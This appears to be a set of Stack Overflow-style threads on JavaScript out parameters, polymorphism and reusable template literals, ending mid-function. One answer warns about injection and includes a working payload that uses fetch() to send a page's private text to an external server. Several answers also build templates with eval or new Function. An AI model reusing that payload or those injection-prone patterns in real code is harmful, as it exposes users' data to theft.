How best to implement out params in JavaScript? - javascript

I'm using Javascript with jQuery. I'd like to implement out params. In C#, it would look something like this:
/*
* odp the object to test
* error a string that will be filled with the error message if odp is illegal. Undefined otherwise.
*
* Returns true if odp is legal.
*/
bool isLegal(odp, out error);
What is the best way to do something like this in JS? Objects?
function isLegal(odp, errorObj)
{
// ...
errorObj.val = "ODP failed test foo";
return false;
}
Firebug tells me that the above approach would work, but is there a better way?

The callback approach mentioned by #Felix Kling is probably the best idea, but I've also found that sometimes it's easy to leverage Javascript object literal syntax and just have your function return an object on error:
function mightFail(param) {
// ...
return didThisFail ? { error: true, msg: "Did not work" } : realResult;
}
then when you call the function:
var result = mightFail("something");
if (result.error) alert("It failed: " + result.msg);
Not fancy and hardly bulletproof, but certainly it's OK for some simple situations.

I think this is pretty much the only way (but I am not a hardcore JavaScript programmer ;)).
What you could also consider is to use a callback function:
function onError(data) {
// do stuff
}
function isLegal(odp, cb) {
//...
if(error) cb(error);
return false;
}
isLegal(value, onError);

Yes, as you yourself mentioned, objects are the best and only way to pass data by reference in JavaScript. I would keep your isLegal function as such and simply call it like this:
var error = {};
isLegal("something", error);
alert(error.val);

The answers I have seen so far aren't implementing out parameters in JavaScript, as they are used in C# (the out keyword). They are merely a workaround that returns an object in case of an error.
But what do you do if you really need out parameters?
Because Javascript doesn't directly support it, you need to build something that is close to C#'s out parameters. Take a look at this approach, I am emulating C#s DateTime.TryParse function in JavaScript. The out parameter is result, and because JavaScript doesn't provide an out keyword, I am using .value inside the function to pass the value outside the function (as inspired by MDN suggestion):
// create a function similar to C#'s DateTime.TryParse
var DateTime = [];
DateTime.TryParse = function(str, result) {
result.value = new Date(str); // out value
return (result.value != "Invalid Date");
};
// now invoke it
var result = [];
if (DateTime.TryParse("05.01.2018", result)) {
alert(result.value);
} else {
alert("no date");
};
Run the snippet and you'll see it works: It parses the str parameter into a Date and returns it in the result parameter. Note that result needs to be initialized as empty array [], before you call the function (it can also be an object{} depending on your needs). This is required because inside the function you "inject" the .value property.
Now you can use the pattern above to write a function as the one in your question (this also shows you how to emulate the new discard parameter known as out _ in C#: In JavaScript we're passing [] as shown below):
// create a function similar to C#'s DateTime.TryParse
var DateTime = [];
DateTime.TryParse = function(str, result) {
result.value = new Date(str); // out value
return (result.value != "Invalid Date");
};
// returns false, if odb is no date, otherwise true
function isLegal(odp, errorObj) {
if (DateTime.TryParse(odp, [])) { // discard result here by passing []
// all OK: leave errorObj.value undefined and return true
return true;
} else {
errorObj.value = "ODP failed test foo"; // return error
return false;
}
}
// now test the function
var odp = "xxx01.12.2018xx"; // invalid date
var errorObj = [];
if (!isLegal(odp, errorObj)) alert(errorObj.value); else alert("OK!");
What this example does is it uses the result parameter to pass an error message as follows:
errorObj.value = "ODP failed test foo"; // return error
If you run the example it will display this message in a popup dialog.
Note: Instead of using a discard parameter as shown above, in JavaScript you could also use a check for undefined, i.e. inside the function check for
if (result === undefined) {
// do the check without passing back a value, i.e. just return true or false
};
Then it is possible to omit result as a parameter completely if not needed, so you could invoke it like
if (DateTime.TryParse(odp)) {
// ... same code as in the snippet above ...
};

I am using a callback method (similar to Felix Kling's approach) to simulate the behavior of out parameters. My answer differs from Kling's in that the callback function acts as a reference-capturing closure rather than a handler.
This approach suffers from JavaScript's verbose anonymous function syntax, but closely reproduces out parameter semantics from other languages.
function isLegal(odp, out_error) {
//...
out_error("ODP failed test foo"); // Assign to out parameter.
return false;
}
var error;
var success = isLegal(null, function (e) { error = e; });
// Invariant: error === "ODP failed test foo".

there is another way JS can pass 'out' parameters. but i believe the best ones for your situation were already mentioned.
Arrays are also passed by reference, not value. thus just as you can pass an object to a function, and then set a property of the object in the function, and then return, and access that object's property, you can similarly pass an Array to a function, set some values of the array inside the function, and return and access those values outside the array.
so in each situation you can ask yourself, "is an array or an object better?"

I'm not going to post any code but what fails to be done here in these answers is to put rhyme to reason. I'm working in the native JS arena and the problem arose that some native API calls need to be transformed because we can't write to the parameters without ugly shameful hacks.
This is my solution:
// Functions that return parameter data should be modified to return
// an array whose zeroeth member is the return value, all other values
// are their respective 1-based parameter index.
That doesn't mean define and return every parameter. Only the
parameters that recieve output.
The reason for this approach is thus: Multiple return values may be needed for any number of procedures. This creates a situation where objects with named values (that ultimately will not be in sync with the lexical context of all operations), constantly need to be memorized in order to appropriately work with the procedure(s).
Using the prescribed method, you only have to know what you called, and where you should be looking rather than having to know what you are looking for.
There is also the advantage that "robust and stupid" alogrithms can be written to wrap around the desired procedure calls to make this operation "more transparent".
It would be wise to use an object, function, or an array (all of which are objects) as a "write-back-output" parameter, but I believe that if any extraneous work must be done, it should be done by the one writing the toolkit to make things easier, or broaden functionality.
This is a one for all answer for every occaision, that keeps APIs looking the way the should at first look, rather than appearing to be and having every resemblence of a hobble-cobbled weave of spaghetti code tapestry that cannot figure out if it is a definition or data.
Congratulations, and good luck.
I'm using the webkitgtk3 and interfaceing some native C Library procs. so this proven code sample might at least serve the purpose of illustration.
// ssize_t read(int filedes, void *buf, size_t nbyte)
SeedValue libc_native_io_read (SeedContext ctx, SeedObject function, SeedObject this_object, gsize argument_count, const SeedValue arguments[], SeedException *exception) {
// NOTE: caller is completely responsible for buffering!
/* C CODING LOOK AND FEEL */
if (argument_count != 3) {
seed_make_exception (ctx, exception, xXx_native_params_invalid,
"read expects 3 arguments: filedes, buffer, nbyte: see `man 3 read' for details",
argument_count
); return seed_make_undefined (ctx);
}
gint filedes = seed_value_to_int(ctx, arguments[0], exception);
void *buf = seed_value_to_string(ctx, arguments[1], exception);
size_t nbyte = seed_value_to_ulong(ctx, arguments[2], exception);
SeedValue result[3];
result[0] = seed_value_from_long(ctx, read(filedes, buf, nbyte), exception);
result[2] = seed_value_from_binary_string(ctx, buf, nbyte, exception);
g_free(buf);
return seed_make_array(ctx, result, 3, exception);
}

The following is approach i am using. And this is answer for this question. However code has not been tested.
function mineCoords( an_x1, an_y1 ) {
this.x1 = an_x1;
this.y1 = an_y1;
}
function mineTest( an_in_param1, an_in_param2 ) {
// local variables
var lo1 = an_in_param1;
var lo2 = an_in_param2;
// process here lo1 and lo2 and
// store result in lo1, lo2
// set result object
var lo_result = new mineCoords( lo1, lo2 );
return lo_result;
}
var lo_test = mineTest( 16.7, 22.4 );
alert( 'x1 = ' + lo_test.x1.toString() + ', y1 = ' + lo_test.y1.toString() );

The usual approach to the specific use case you outlined in Javascript, and in fact most high level languages, is to rely on Errors (aka exceptions) to let you know when something out of the ordinary has occurred. There's no way to pass a value type (strings, numbers etc) by reference in Javascript.
I would just do that. If you really need to feed custom data back to the calling function you can subclass Error.
var MyError = function (message, some_other_param)
{
this.message = message;
this.some_other_param = some_other_param;
}
//I don't think you even need to do this, but it makes it nice and official
MyError.prototype = Error;
...
if (something_is_wrong)
throw new MyError('It failed', /* here's a number I made up */ 150);
Catching exceptions is a pain, I know, but then again so is keeping track of references.
If you really really need something that approaches the behavior of out variables, objects are passed by reference by default, and can handily capture data from other scopes--
function use_out (outvar)
{
outvar.message = 'This is my failure';
return false;
}
var container = { message : '' };
var result = use_out(container );
console.log(container.message); ///gives the string above
console.log(result); //false
I think this goes a some ways towards answering your question, but I think your entire approach is broken from the start. Javascript supports so many much more elegant and powerful ways to get multiple values out of a function. Do some reading about generators, closures, hell even callbacks can be nice in certain situations-- look up continuation passing style.
My point with this whole rant is to encourage anyone reading this to adapt their programming style to the limitations and capabilities of the language they're using, rather than trying to force what they learned from other languages into it.
(BTW some people strongly recommend against closures because they cause evil side-effects, but I wouldn't listen to them. They're purists. Side effects are almost unavoidable in a lot of applications without a lot of tedious backtracking and stepping around cant-get-there-from-here obstacles. If you need them, keeping them all together in a neat lexical scope rather than scattered across a hellscape of obscure pointers and references sounds a lot better to me)

The main advantage of real output parameters is direct modification of one or more scalar variables in the scope of the caller. Among the approaches proposed in other answers, only callbacks satisfy this requirement:
function tryparse_int_1(s, cb)
{ var res = parseInt(s);
cb(res);
return !isNaN( res );
}
function test_1(s)
{ var /* inreger */ i;
if( tryparse_int_1( s, x=>i=x ) )
console.log(`String "${s}" is parsed as integer ${i}.`); else
console.log(`String "${s}" does not start with an integer.`);
}
test_1("47");
test_1("forty-seven");
In this case, passing each output parameter requires five extra characters to wrap its identifier into an anonymous setter function. It is neither very readable nor easy to type frequently, so one can resort to the single most interesting property of scripting languages—their ability to do magick, such as executing strings as code.
The following example implements an extended version of the integer-parsing function above, which now has two output parameters: the resulting integer and a flag indicating whether it is positive:
/* ------------ General emulator of output parameters ------------ */
function out_lit(v)
{ var res;
if( typeof(v) === "string" )
res = '"' + v.split('\"').join('\\\"') + '"'; else
res = `${v}`;
return res;
}
function out_setpar(col, name, value)
{ if( col.outs == undefined ) col.outs = [];
col.outs[name] = value;
}
function out_setret(col, value)
{ col.ret = value; }
function out_ret( col )
{ var s;
for(e in col.outs)
{ s = s + "," + e + "=" + out_lit( col.outs[e] ); }
if( col.ret != undefined )
{ s = s + "," + out_lit( col.ret ); }
return s;
}
/* -------- An intger-parsing function using the emulator -------- */
function tryparse_int_2 // parse the prefix of a string as an integer
( /* string */ s, // in: input string
/* integer */ int, // out: parsed integer value
/* boolean */ pos // out: whether the result is positive
)
{ var /* integer */ res; // function result
var /* array */ col; // collection of out parameters
res = parseInt(s);
col = [];
out_setpar( col, int, res );
out_setpar( col, pos, res > 0 );
out_setret( col, !isNaN( res ) );
return out_ret( col );
}
In this version, passing each output parameters requires two extra characters around its identifier to embed it into a string literal, plus six characters per invocation to evaluate the result:
function test_2(s)
{ var /* integer */ int;
var /* boolean */ pos;
if( !eval( tryparse_int_2( s, "int", "pos" ) ) )
{ console.log(`String "${s}" does not start with an integer.`); }
else
{ if( pos ) adj = "positive";
else adj = "non-positive";
console.log(`String "${s}" is parsed as a ${adj} integer ${int}.`);
}
}
test_2( "55 parrots" );
test_2( "-7 thoughts" );
test_2( "several balls" );
The output of the test code above is:
String "55 parrots" is parsed as a positive integer 55.
String "-7 thoughts" is parsed as a non-positive integer -7.
String "several balls" does not start with an integer.
This solution, however, has a deficiency: it cannot handle returns of non-basic types.
Perhaps a cleaner approach is the emulation of pointers:
// Returns JavaScript for the defintion of a "pointer" to a variable named `v':
// The identifier of the pointer is that of the variable prepended by a $.
function makeref(v)
{ return `var $${v} = {set _(val){${v}=val;},get _() {return ${v};}}`; }
// Calcualtes the square root of `value` and puts it into `$root`.
// Returns whether the operation has succeeded.
// In case of an error, stores error message in `$errmsg`.
function sqrt2
( /* in number */ value, /* value to take the root of */
/* out number */ $root , /* "pointer" to result */
/* out string */ $errmsg /* "pointer" to error message */
)
{ if( typeof( value ) !== "number" )
{ $errmsg._ = "value is not a number.";
return false;
}
if( value < 0 )
{ $errmsg._ = "value is negative.";
return false;
}
$root._ = Math.sqrt(value);
return true;
}
The following test code:
function test(v)
{ var /* string */ resmsg;
var /* number */ root ; eval( makeref( "root" ) );
var /* string */ errmsg; eval( makeref( "errmsg" ) );
if( sqrt2(v, $root, $errmsg) ) resmsg = `Success: ${root}`;
else resmsg = `Error: ${errmsg}`;
console.log(`Square root of ${v}: ` + resmsg );
}
test("s" );
test(-5 );
test( 1.44);
prints:
Square root of s: Error: value is not a number.
Square root of -5: Error: value is negative.
Square root of 1.44: Success: 1.2
"Pointers" created by this method are reusable in other functions and subsequent invocations of the same function. For example, you could define a function that appends strings:
// Append string `sep' to a string pointed to by $s, using `sep` as separator:
// $s shall not point to an undefined value.
function append($s, sep, val)
{ if( $s._ != '' ) $s._ += sep;
$s._ += val;
}
and use it thus:
const sep = ", "
var s; eval( makeref("s") );
s = '';
append( $s, sep, "one" );
append( $s, sep, "two" );
append( $s, sep, "three" );
console.log( s );
It will print:
one, two, three

Related

Preventing higher order array methods from throwing an error

Is there a way to prevent errors from being thrown while filtering?
The below function sometimes fails at conversationMember.Name.toLowerCase() when there is no conversationMember.
If it helps, this is also a computed property in a Vue application.
Should you need more information, please just ask!
filteredConversations() {
var self = this;
var filteredConvos = self.conversations;
filteredConvos = filteredConvos.filter(conversation => {
return conversation.MembershipData.some(conversationMember => {
return conversationMember.Name.toLowerCase().includes(
self.conversationSearchTerm.toLowerCase()
);
});
});
return filteredConvos;
},
This doesn't seem to have anything to do with arrays.
From your code I understand conversationMember.Name is supposed to be a string (because you're calling .toLowerCase() on it), which means incudes here is not Array.prototype.includes, but String.prototype.includes, especially since self.conversationSearchTerm seems to also be a string (you're also calling .toLowerCase() on it).
So, the problem is you're using includes on something that should be a string but is not. The simple fix is to default it to an empty string when it's falsy:
return (conversationMember.Name || '').toLowerCase().includes(
(self.conversationSearchTerm || '').toLowerCase()
);
As a side note, you don't need the var self = this;. this is available inside your filter since the filter is an arrow function. So your function (I'm guessing it's a computed but it can as well be a method) could look like this:
filteredConversations() {
return this.conversations.filter(c =>
c.MembershipData.some(md =>
(md.Name || '').toLowerCase().includes(
(this.conversationSearchTerm || '').toLowerCase()
)
)
);
}
One last note: this will still fail if any of your conversations does not have a MembershipData holding an array. To get around that, you could default it to an empty array on the fly:
...
(c.MembershipData || []).some(md =>
...
As expected, any conversation without an array in MembershipData will be filtered out by the function (not included in the result) - because .some(condition) will return false when called on an empty array.

Javascript polymorphism without OOP classes

In JS or OOP language the polymorhpism is created by making different types.
For example:
class Field {...}
class DropdownField extends Field {
getValue() {
//implementation ....
}
}
Imagine I have library forms.js with some methods:
class Forms {
getFieldsValues() {
let values = [];
for (let f of this.fields) {
values.push(f.getValue());
}
return values;
}
}
This gets all field values. Notice the library doesnt care what field it is.
This way developer A created the library and developer B can make new fields: AutocompleterField.
He can add methods in AutocompleterField withouth changing the library code (Forms.js) .
If I use functional programming method in JS, how can I achieve this?
If I dont have methods in object i can use case statements but this violates the principle. Similar to this:
if (field.type == 'DropdownField')...
else if (field.type == 'Autocompleter')..
If developer B add new type he should change the library code.
So is there any good way to solve the issue in javascript without using object oriented programming.
I know Js isnt exactly OOP nor FP but anyway.
Thanks
JavaScript being a multi-purpose language, you can of course solve it in different ways. When switching to functional programming, the answer is really simple: Use functions! The problem with your example is this: It is so stripped down, you can do exactly the same it does with just 3 lines:
// getValue :: DOMNode -> String
const getValue = field => field.value;
// readForm :: Array DOMNode -> Array String
const readForm = formFields => formFields.map(getValue);
readForm(Array.from(document.querySelectorAll('input, textarea, select')));
// -> ['Value1', 'Value2', ... 'ValueN']
The critical thing is: How is Field::getValue() implemented, what does it return? Or more precisely: How does DropdownField::getValue() differ from AutocompleteField::getValue() and for example NumberField::getValue()? Do all of them just return the value? Do they return a pair of name and value? Do they even need to be different?
The question is therefor, do your Field classes and their inheriting classes differ because of the way their getValue() methods work or do they rather differ because of other functionality they have? For example, the "autocomplete" functionality of a textfield isn't (or shouldn't be) tied to the way the value is taken from it.
In case you really need to read the values differently, you can implement a function which takes a map/dictionary/object/POJO of {fieldtype: readerFunction} pairs:
/* Library code */
// getTextInputValue :: DOMNode -> String
const getTextInputValue = field => field.value;
// getDropdownValue :: DOMNode -> String
const getDropdownValue = field => field.options[field.selectedIndex].value;
// getTextareaValue :: DOMNode -> String
const getTextareaValue = field => field.textContent;
// readFieldsBy :: {String :: (a -> String)} -> DOMNode -> Array String
readFieldsBy = kv => form => Object.keys(kv).reduce((acc, k) => {
return acc.concat(Array.from(form.querySelectorAll(k)).map(kv[k]));
}, []);
/* Code the library consumer writes */
const readMyForm = readFieldsBy({
'input[type="text"]': getTextInputValue,
'select': getDropdownValue,
'textarea': getTextareaValue
});
readMyForm(document.querySelector('#myform'));
// -> ['Value1', 'Value2', ... 'ValueN']
Note: I intentionally didn't mention things like the IO monad here, because it would make stuff more complicated, but you might want to look it up.
In JS or OOP language the polymorhpism is created by making different types.
Yes. Or rather, by implementing the same type interface in different objects.
How can I use Javascript polymorphism without OOP classes
You seem to confuse classes with types here. You don't need JS class syntax to create objects at all.
You can just have
const autocompleteField = {
getValue() {
…
}
};
const dropdownField = {
getValue() {
…
}
};
and use the two in your Forms instance.
Depends on what you mean by "polymorphism". There's the so-called ad-hoc polymorphism which type classes in Haskell, Scala, or PureScript provide -- and this kind of dispatch is usually implemented by passing witness objects along as additional function arguments, which then will know how to perform the polymorphic functionality.
For example, the following PureScript code (from the docs), which provides a show function for some types:
class Show a where
show :: a -> String
instance showString :: Show String where
show s = s
instance showBoolean :: Show Boolean where
show true = "true"
show false = "false"
instance showArray :: (Show a) => Show (Array a) where
show xs = "[" <> joinWith ", " (map show xs) <> "]"
example = show [true, false]
It gets compiled to the following JS (which I shortened):
var Show = function (show) {
this.show = show;
};
var show = function (dict) {
return dict.show;
};
var showString = new Show(function (s) {
return s;
});
var showBoolean = new Show(function (v) {
if (v) {
return "true";
};
if (!v) {
return "false";
};
throw new Error("Failed pattern match at Main line 12, column 1 - line 12, column 37: " + [ v.constructor.name ]);
});
var showArray = function (dictShow) {
return new Show(function (xs) {
return "[" + (Data_String.joinWith(", ")(Data_Functor.map(Data_Functor.functorArray)(show(dictShow))(xs)) + "]");
});
};
var example = show(showArray(showBoolean))([ true, false ]);
There's absolutely no magic here, just some additional arguments. And at the "top", where you actually know concrete types, you have to pass in the matching concrete witness objects.
In your case, you would pass around something like a HasValue witness for different forms.
You could use a the factory pattern to ensure you follow the open close principle.
This principle says "Software entities (classes, modules, functions, etc.) should be open for extension, but closed for modification".
class FieldValueProviderFactory {
getFieldValue(field) {
return this.providers.find(p => p.type === field.type).provider(field);
}
registerProvider(type, provider) {
if(!this.providers) {
this.providers = [];
}
this.providers.push({type:type, provider:provider});
}
}
var provider = new FieldValueProviderFactory();
provider.registerProvider('DropdownField', (field) => [ 1, 2, 3 ]);
provider.registerProvider('Autocompleter', (field) => [ 3, 2, 1 ]);
class FieldCollection {
getFieldsValues() {
this.fields = [ { type:'DropdownField',value:'1' }, { type:'Autocompleter',value:'2' } ];
let values = [];
for (let field of this.fields) {
values.push(provider.getFieldValue(field));
}
return values;
}
}
Now when you want to register new field types you can register a provider for them in the factory and don't have to modify your field code.
new Field().getFieldsValues();

Can ES6 template literals be substituted at runtime (or reused)?

tl;dr: Is it possible to make a reusable template literal?
I've been trying to use template literals but I guess I just don't get it and now I'm getting frustrated. I mean, I think I get it, but "it" shouldn't be how it works, or how it should get. It should get differently.
All the examples I see (even tagged templates) require that the "substitutions" be done at declaration time and not run time, which seems utterly useless to me for a template. Maybe I'm crazy, but a "template" to me is a document that contains tokens which get substituted when you use it, not when you create it, otherwise it's just a document (i.e., a string). A template is stored with the tokens as tokens & those tokens are evaluated when you...evaluate it.
Everyone cites a horrible example similar to:
var a = 'asd';
return `Worthless ${a}!`
That's nice, but if I already know a, I would just return 'Worthless asd' or return 'Worthless '+a. What's the point? Seriously. Okay the point is laziness; fewer pluses, more readability. Great. But that's not a template! Not IMHO. And MHO is all that matters! The problem, IMHO, is that the template is evaluated when it's declared, so, if you do, IMHO:
var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!
Since expletive isn't declared, it outputs something like My undefined template. Super. Actually, in Chrome at least, I can't even declare the template; it throws an error because expletive is not defined. What I need is to be able to do the substitution after declaring the template:
var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template
However I don't see how this is possible, since these aren't really templates. Even when you say I should use tags, nope, they don't work:
> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...
This all has led me to believe that template literals are horribly misnamed and should be called what they really are: heredocs. I guess the "literal" part should have tipped me off (as in, immutable)?
Am I missing something? Is there a (good) way to make a reusable template literal?
I give you, reusable template literals:
> function out(t) { console.log(eval(t)); }
var template = `\`This is
my \${expletive} reusable
template!\``;
out(template);
var expletive = 'curious';
out(template);
var expletive = 'AMAZING';
out(template);
< This is
my undefined reusable
template!
This is
my curious reusable
template!
This is
my AMAZING reusable
template!
And here is a naive "helper" function...
function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);
...to make it "better".
I'm inclined to call them template guterals because of the area from which they produce twisty feelings.
To make these literals work like other template engines there needs to be an intermediary form.
The best way to do this is to use the Function constructor.
const templateString = "Hello ${this.name}!";
const templateVars = {
name: "world"
}
const fillTemplate = function(templateString, templateVars){
return new Function("return `"+templateString +"`;").call(templateVars);
}
console.log(fillTemplate(templateString, templateVars));
As with other template engines, you can get that string from other places like a file.
Some issues can appear using this method (for example, template tags would be harder to add). You also can't have inline JavaScript logic, because of the late interpolation. This can also be remedied with some thought.
You can put a template string in a function:
function reusable(a, b) {
return `a is ${a} and b is ${b}`;
}
You can do the same thing with a tagged template:
function reusable(strings) {
return function(... vals) {
return strings.map(function(s, i) {
return `${s}${vals[i] || ""}`;
}).join("");
};
}
var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"
The idea is to let the template parser split out the constant strings from the variable "slots", and then return a function that patches it all back together based on a new set of values each time.
Probably the cleanest way to do this is with arrow functions (because at this point, we're using ES6 already)
var reusable = () => `This ${object} was created by ${creator}`;
var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"
object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"
...And for tagged template literals:
reusable = () => myTag`The ${noun} go ${verb} and `;
var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"
noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"
This also avoids the use of eval() or Function() which can cause problems with compilers and cause a lot of slowdown.
Yes you can do it by parsing your string with template as JS by Function (or eval) - but this is not recommended and allow XSS attack
// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
return new Function("return `"+templateString +"`;").call(templateVars);
}
function parseString() {
// Example malicious string which will 'hack' fillTemplate function
var evilTemplate = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";
var templateData = {Id:1234, User:22};
var result = fillTemplate(evilTemplate, templateData);
console.log(result);
alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);
}
#mydiv { background: red; margin: 20px}
.btn { margin: 20px; padding: 20px; }
<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then backend save templates in DB and show them to other users...
Some bad user/hacker can then prepare malicious template
with JS code... and when other logged users "see" that malicious
template (e.g. by "Click me!" in this example),
then it can read some information from their current
page with private content and send it to external server.
Or in worst case, that malicious template can send some
authorized "action" request to the backend...
(like e.g. action which delete some user content or change his name etc.).
In case when logged user was Admin then
action can be even more devastating (like delete user etc.)
</pre>
<div id='mydiv'>
Private content of some user
</div>
<div id="msg"></div>
<button class="btn" onclick="parseString()">Click me! :)</button>
Instead you can safely insert object obj fields to template str in dynamic way as follows
let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);
let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);
// --- test ---
// parameters in object
let t1 = 'My name is ${name}, I am ${age}. My brother name is also ${name}.';
let r1 = inject(t1, {name: 'JOHN',age: 23} );
console.log("OBJECT:", r1);
// parameters in array
let t2 = "Values ${0} are in ${2} array with ${1} values of ${0}."
let r2 = inject(t2, ['A,B,C', 666, 'BIG'] );
console.log("ARRAY :", r2);
Simplifying the answer provided by #metamorphasi;
const fillTemplate = function(templateString, templateVars){
var func = new Function(...Object.keys(templateVars), "return `"+templateString +"`;")
return func(...Object.values(templateVars));
}
// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);
console.log(result);
In 2021 came the most straightforward solution yet.
const tl = $ =>`This ${$.val}`;
tl({val: 'code'});
It is almost the same as just writing and reusing a template literal (what the OP was wanting).
You can tweak things from here...
2019 answer:
Note: The library originally expected users to sanitise strings to avoid XSS. Version 2 of the library no longer requires user strings to be sanitised (which web developers should do anyway) as it avoids eval completely.
The es6-dynamic-template module on npm does this.
const fillTemplate = require('es6-dynamic-template');
Unlike the current answers:
It uses ES6 template strings, not a similar format. Update version 2 uses a similar format, rather than ES6 template strings, to prevent users from using unsanitised input Strings.
It doesn't need this in the template string
You can specify the template string and variables in a single function
It's a maintained, updatable module, rather than copypasta from StackOverflow
Usage is simple. Use single quotes as the template string will be resolved later!
const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});
Am I missing something? Is there a [good] way to make a reusable template literal?
Maybe I am missing something, because my solution to this issue seems so obvious to me that I am very surprised nobody wrote that already in such an old question.
I have an almost one-liner for it:
function defer([first, ...rest]) {
return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}
That's all. When I want to reuse a template and defer the resolution of the substitutions, I just do:
function defer([first, ...rest]) {
return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}
t = defer`My template is: ${null} and ${null}`;
a = t('simple', 'reusable');
// 'My template is: simple and reusable'
b = t('obvious', 'late to the party');
// 'My template is: obvious and late to the party'
c = t(null);
// 'My template is: null and undefined'
d = defer`Choose: ${'ignore'} / ${undefined}`(true, false);
// 'Choose: true / false'
console.log(a + "\n" + b + "\n" + c + "\n" + d + "\n");
Applying this tag returns back a 'function' (instead of a 'string') that ignores any parameters passed to the literal. Then it can be called with new parameters later. If a parameter has no corresponding replace, it becomes 'undefined'.
Extended answer
This simple code is functional, but if you need more elaborated behavior, that same logic can be applied and there are endless possibilities. You could:
Make use of original parameters:
You could store the original values passed to the literal in the construction and use them in creative ways when applying the template. They could become flags, type validators, functions etc. This is an example that uses them as default values:
function deferWithDefaults([first, ...rest], ...defaults) {
return (...values) => rest.reduce((acc, curr, i) => {
return acc + (i < values.length ? values[i] : defaults[i]) + curr;
}, first);
}
t = deferWithDefaults`My template is: ${'extendable'} and ${'versatile'}`;
a = t('awesome');
// 'My template is: awesome and versatile'
console.log(a);
Write a template factory:
Do it by wrapping this logic in a function that expects, as argument, a custom function that can be applied in the reduction (when joining the pieces of the template literal) and returns a new template with custom behavior.
Then you could , e.g., write templates that automatically escape or sanitize parameters when writing embedded html, css, sql, bash...
With this naïve (I repeat, naïve!) sql template we could build queries like this:
const createTemplate = fn => function (strings, ...defaults) {
const [first, ...rest] = strings;
return (...values) => rest.reduce((acc, curr, i) => {
return acc + fn(values[i], defaults[i]) + curr;
}, first);
};
function sqlSanitize(token, tag) {
// this is a gross simplification, don't use in production.
const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/
.test(name) ? `"${name.replace(/"/g, '""')}"` : name);
const quoteValue = value => (typeof value == 'string' ?
`'${value.replace(/'/g, "''")}'` : value);
switch (tag) {
case 'table':
return quoteName(token);
case 'columns':
return token.map(quoteName);
case 'row':
return token.map(quoteValue);
default:
return token;
}
}
const sql = createTemplate(sqlSanitize);
q = sql`INSERT INTO ${'table'} (${'columns'})
... VALUES (${'row'});`
a = q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true])
// `INSERT INTO user (id,"user name","is""Staff""?")
// VALUES (1,'O''neil',true);`
console.log(a);
Accept named parameters for substitution: A not-so-hard exercise, based on what was already given. There is an implementation in this other answer.
Make the return object behave like a 'string': Well, this is controversial, but could lead to interesting results. Shown in this other answer.
Resolve parameters within global namespace at call site:
I give you, reusable template literals:
Well, this is what OP showed is his addendum, using the command evil, I mean, eval. This could be done without eval, just by searching the passed variable name into the global (or window) object. I will not show how to do it because I do not like it. Closures are the right choice.
If you don't want to use ordered parameters or context/namespaces to reference the variables in your template, e.g. ${0}, ${this.something}, or ${data.something}, you can have a template function that takes care of the scoping for you.
Example of how you could call such a template:
const tempGreet = Template(() => `
<span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"
The Template function:
function Template(cb) {
return function(data) {
const dataKeys = [];
const dataVals = [];
for (let key in data) {
dataKeys.push(key);
dataVals.push(data[key]);
}
let func = new Function(...dataKeys, 'return (' + cb + ')();');
return func(...dataVals);
}
}
The quirk in this case is you just have to pass a function (in the example I used an arrow function) that returns the ES6 template literal. I think it's a minor tradeoff to get the kind of reuseable interpolation we are after.
Here it is on GitHub: https://github.com/Adelphos/ES6-Reuseable-Template
The short answer is just use _.template in lodash
// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'
Thanks to #Quentin-Engles with the excellent idea and the top answer, that got me started!
But I stored the new Function directly in a variable instead of returning the Function each time, so that both the function and the template literal are only built once, instead of each time you call it, like it is in Quentin's answer.
const templateString = "Hello ${this.name}.";
var myData = {
name: "world"
};
const buildItem = new Function("return `" + templateString + "`;");
console.log(buildItem.call(myData)); // Hello world.
myData.name = "Joe";
console.log(buildItem.call(myData)); // Hello Joe.
If you are looking for something rather simple (just fixed variable fields, no computations, conditionals…) but that does work also client-side on browsers without template string support like IE 8,9,10,11…
here we go:
fillTemplate = function (templateString, templateVars) {
var parsed = templateString;
Object.keys(templateVars).forEach(
(key) => {
const value = templateVars[key]
parsed = parsed.replace('${'+key+'}',value)
}
)
return parsed
}
In general I'm against using the evil eval(), but in this case it makes sense:
var template = "`${a}.${b}`";
var a = 1, b = 2;
var populated = eval(template);
console.log(populated); // shows 1.2
Then if you change the values and call eval() again you get the new result:
a = 3; b = 4;
populated = eval(template);
console.log(populated); // shows 3.4
If you want it in a function, then it can be written like so:
function populate(a, b){
